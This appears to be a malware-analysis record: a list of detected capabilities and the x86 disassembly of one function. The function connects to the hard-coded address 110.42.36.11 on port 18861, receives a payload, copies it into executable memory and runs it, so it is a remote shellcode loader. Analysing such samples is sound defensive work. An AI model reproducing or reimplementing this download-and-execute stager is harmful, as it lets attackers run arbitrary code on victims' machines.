Function at 0x401490
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Convert ip address from string
Create tcp socket
Create udp socket
Execute shellcode via indirect call
Initialize winsock library
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40343b
mov eax, dword fs:[0]
push eax
mov eax, 0x11c0
call fcn.00403390
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
mov dword [ebp - 0x1014], 0
lea ecx, [ebp - 0x101c]
movq qword [ebp - 0x101c], xmm0
call fcn.00401170
mov dword [ebp - 4], 0
mov edx, 0x404264
mov eax, dword [ebp - 0x1018]
sub eax, dword [ebp - 0x101c]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
sar eax, 5
push 0x401c90
push eax
call fcn.00401a70
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_int_]
mov edx, 0x40425c
mov ecx, eax
call fcn.00401a70
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [ebp - 0x1018]
mov esi, dword [ebp - 0x101c]
cmp esi, edi
je 0x4015e1
mov ebx, dword [sym.imp.USER32.dll_MessageBoxA]
add esi, 0x18
nop word [eax + eax]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x404280
call fcn.00401a70
cmp dword [esi - 4], 0xf
lea edx, [esi - 0x18]
jbe 0x40156b
mov edx, dword [edx]
push dword [esi - 8]
mov ecx, eax
call fcn.00401d30
mov edx, dword [esi]
add esp, 4
mov ecx, dword [esi + 4]
shrd edx, ecx, 0x1e
shr ecx, 0x1e
push 0x401c90
push ecx
push edx
mov edx, 0x404274
mov ecx, eax
call fcn.00401a70
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64__]
mov edx, 0x404270
mov ecx, eax
call fcn.00401a70
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [esi]
and eax, 0xc0000000
cmp dword [esi + 4], 1
ja 0x4015d3
jb 0x4015c9
cmp eax, 0x40000000
jae 0x4015d3
push 0
push 0
push 0
push 0
call ebx
add esi, 0x20
lea eax, [esi - 0x18]
cmp eax, edi
jne 0x401550
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x404288
push 0x401c90
call fcn.00401a70
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
call fcn.00401350
lea eax, [ebp - 0x11c8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
mov eax, 2
push 0x49ad
mov word [ebp - 0x1038], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1036], ax
lea eax, [ebp - 0x1034]
push eax
push str.110.42.36.11
push 2
call dword [sym.imp.WS2_32.dll_inet_pton]
push 0x10
lea eax, [ebp - 0x1038]
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
xorps xmm0, xmm0
mov dword [ebp - 0x1020], 0
xor eax, eax
movq qword [ebp - 0x1028], xmm0
xor ebx, ebx
mov dword [ebp - 0x11cc], eax
xor edi, edi
mov dword [ebp - 0x1028], ebx
mov dword [ebp - 0x1024], edi
mov dword [ebp - 0x1020], eax
push eax
push 0x1000
lea eax, [ebp - 0x1010]
mov byte [ebp - 4], 1
push eax
push esi
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x401701
mov ebx, dword [sym.imp.WS2_32.dll_recv]
nop word [eax + eax]
push eax
lea eax, [ebp - 0x1010]
push eax
push edi
lea ecx, [ebp - 0x1028]
call fcn.004022f0
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
push esi
call ebx
mov edi, dword [ebp - 0x1024]
test eax, eax
jg 0x4016c0
mov eax, dword [ebp - 0x1020]
mov ebx, dword [ebp - 0x1028]
mov dword [ebp - 0x11cc], eax
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x40
push 0x3000
sub edi, ebx
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov esi, eax
push ebx
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
call esi
test ebx, ebx
je 0x401765
mov ecx, dword [ebp - 0x11cc]
mov eax, ebx
sub ecx, ebx
cmp ecx, 0x1000
jb 0x40175b
mov ebx, dword [eax - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40175b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push ebx
call fcn.00402530
add esp, 8
mov ecx, dword [ebp - 0x101c]
test ecx, ecx
je 0x4017b9
mov edx, dword [ebp - 0x1018]
push ecx
call fcn.00401cc0
mov ecx, dword [ebp - 0x1014]
add esp, 4
mov edx, dword [ebp - 0x101c]
sub ecx, edx
and ecx, 0xffffffe0
mov eax, edx
cmp ecx, 0x1000
jb 0x4017af
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4017af
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402530
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004024f2
mov esp, ebp
pop ebp
ret